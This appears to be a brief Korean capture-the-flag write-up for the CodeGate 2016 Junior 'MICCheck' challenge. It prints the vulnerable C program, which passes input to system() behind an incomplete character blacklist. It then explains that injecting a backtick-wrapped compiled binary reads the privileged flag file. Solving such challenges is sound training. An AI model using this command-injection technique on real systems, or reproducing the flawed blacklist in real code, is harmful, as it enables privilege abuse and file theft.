CodeGate 2016 Junior MICCheck

코드게이트 2016 주니어 MICCheck

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
 
int main( int argc, char *argv[], char **environ )
{
    char buf[12] = { 0, };
    char cmd[2048] = { 0, };
    unsigned int i = 0;    
 
    char **e;
    size_t len;
 
    printf( "input path :" );
    fgets( buf, 10, stdin );
 
    for( i = 0; i <= 11; i++ ) {
        if( buf[i] == '\'' ) exit(0);
        if( buf[i] == '&' ) exit(0);
        if( buf[i] == ';' ) exit(0);
        if( buf[i] == '|' ) exit(0);
        if( buf[i] == '\"' ) exit(0);
        if( buf[i] == ' ' ) exit(0);
    }
 
    
    sprintf( cmd, "/bin/ls -al /dev/%s", buf );
 
    for( e = environ; *e; ++e ) {
        len = strlen( *e );
        memset( *e, 0x00, len );
    }
 
    setregid( 1003, 1003 );
    system( cmd );
 
    return 0;
}

위는 MICCheck.c 이다

입력받은 값을 /bin/ls -al /dev/ 뒤에 붙이는데

`(Back quote)가 사용 가능 하다는 것을 이용해서

#include<stdio.h>
int main(void)
{
    system("cat /home/mic/mic.flag.txt");
}

로 파일을 만들고 컴파일해서

`./(파일이름)` 로 넣어주면 에러로 키가 출력된다.